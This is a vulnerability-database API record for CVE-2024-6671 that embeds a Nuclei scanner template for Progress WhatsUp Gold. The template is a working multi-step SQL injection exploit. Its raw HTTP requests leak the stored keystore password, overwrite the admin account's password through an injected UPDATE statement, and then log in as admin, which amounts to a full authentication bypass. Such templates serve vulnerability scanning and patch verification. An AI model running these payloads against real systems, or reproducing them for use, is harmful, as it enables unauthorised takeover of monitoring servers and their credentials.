{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-6671/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-6671/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-6671/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-6671/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-6671/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-6671"},"sightings":{"href":"/api/v1/sightings/cve-2024-6671"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-6671.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-6671\n\ninfo:\n  name: WhatsUp Gold GetStatisticalMonitorList SQL Injection - Authentication Bypass\n  author: daffainfo,jjcho\n  severity: critical\n  description: |\n    In WhatsUp Gold versions released before 2024.0.0, if the application is configured with only a single user, a SQL Injection vulnerability allows an unauthenticated attacker to retrieve the users encrypted password.\n  impact: |\n    Unauthenticated attackers can exploit SQL injection to retrieve encrypted user passwords, modify admin credentials, and achieve authentication bypass for full system access.\n  remediation: |\n    Update WhatsUp Gold to version 2024.0.0 or later to address the SQL injection vulnerability.\n  reference:\n    - https://www.zerodayinitiative.com/advisories/ZDI-24-1186/\n    - https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024\n    - https://www.progress.com/network-monitoring\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-6671\n    cwe-id: CWE-89\n    epss-score: 0.18988\n    epss-percentile: 0.9718\n    cpe: cpe:2.3:a:progress:whatsup_gold:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 5\n    shodan-query: title:\"WhatsUp Gold\" http.favicon.hash:-2107233094\n    product: whatsup_gold\n    vendor: progress\n  tags: cve,cve2024,whatsup-gold,auth-bypass,sqli,intrusive,vkev,vuln\n\nflow: |\n  http(1);\n  http(2);\n  http(3);\n  encryptedPassword = template.encryptedPassword\n  const cleanedInput = encryptedPassword.replace('psyduck', '').match(/\\d+/g);\n  const hexValues = cleanedInput.map(value => {\n    const num = parseInt(value);\n    return isNaN(num) ? '00' : num.toString(16).padStart(2, '0');\n  });\n  const hexString = hexValues.join('');\n  const varbinaryString = '0x' + hexString;\n  set(\"encryptedPassword\", varbinaryString);\n  http(4) && http(5);\n\nvariables:\n  username: \"admin\"\n  password: \"{{to_lower(rand_text_alpha(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /NmConsole/WugSystemAppSettings/JMXSecurity HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"KeyStorePassword\": \"{{password}}\", \"TrustStorePassword\": \"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(set_cookie, 'ASP.NET_SessionId=')\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /NmConsole/Platform/Filter/DeviceStatisticalMonitors HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"deviceId\":\"1234\",\"statisticalMonitorTable\":\"StatisticalPingCache si on p.nPivotStatisticalMonitorTypeToDeviceID = si.nPivotStatisticalMonitorTypeToDeviceID; UPDATE ProActiveAlert SET sAlertName='psyduck'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');Select null,null,null,null,null,null From PivotStatisticalMonitorTypeToDevicep Inner Join StatisticalPingCache\",\"includeDisabledMonitors\":\"true\",\"statisticalIdentificationId\":\"1\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, 'application/json')\n          - contains(body, '[]')\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /NmConsole/Platform/Filter/AlertCenterItemsReportThresholds HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(body, 'DisplayName')\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        internal: true\n        name: encryptedPassword\n        regex:\n          - '\"psyduck\\d+(,\\d+)*\"'\n\n  - raw:\n      - |\n        POST /NmConsole/Platform/Filter/DeviceStatisticalMonitors HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"deviceId\":\"1234\",\"statisticalMonitorTable\":\"StatisticalPingCache si on p.nPivotStatisticalMonitorTypeToDeviceID = si.nPivotStatisticalMonitorTypeToDeviceID; UPDATE WebUser SET sPassword = {{encryptedPassword}} where sUserName = 'admin';Select null,null,null,null,null,null From PivotStatisticalMonitorTypeToDevicep Inner Join StatisticalPingCache\",\"includeDisabledMonitors\":\"true\",\"statisticalIdentificationId\":\"1\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, 'application/json')\n          - contains(body, '[]')\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /NmConsole/User/LoginAjax HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}&password={{password}}&rememberMe=false\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"authenticated\":true'\n          - '\"username\":\"'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"USER: \"+ username'\n          - '\"PASS: \"+ password'\n# digest: 4a0a00473045022100980018cd60aa5220ea07c0b70eb0f4176bab32b404064ca4a12a644b645dccfc022042b7a01ed6e3ed2c5886e73f59c1e062a94c6fcaacb512b7d3e94d6c5bc0a51c:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-6671"}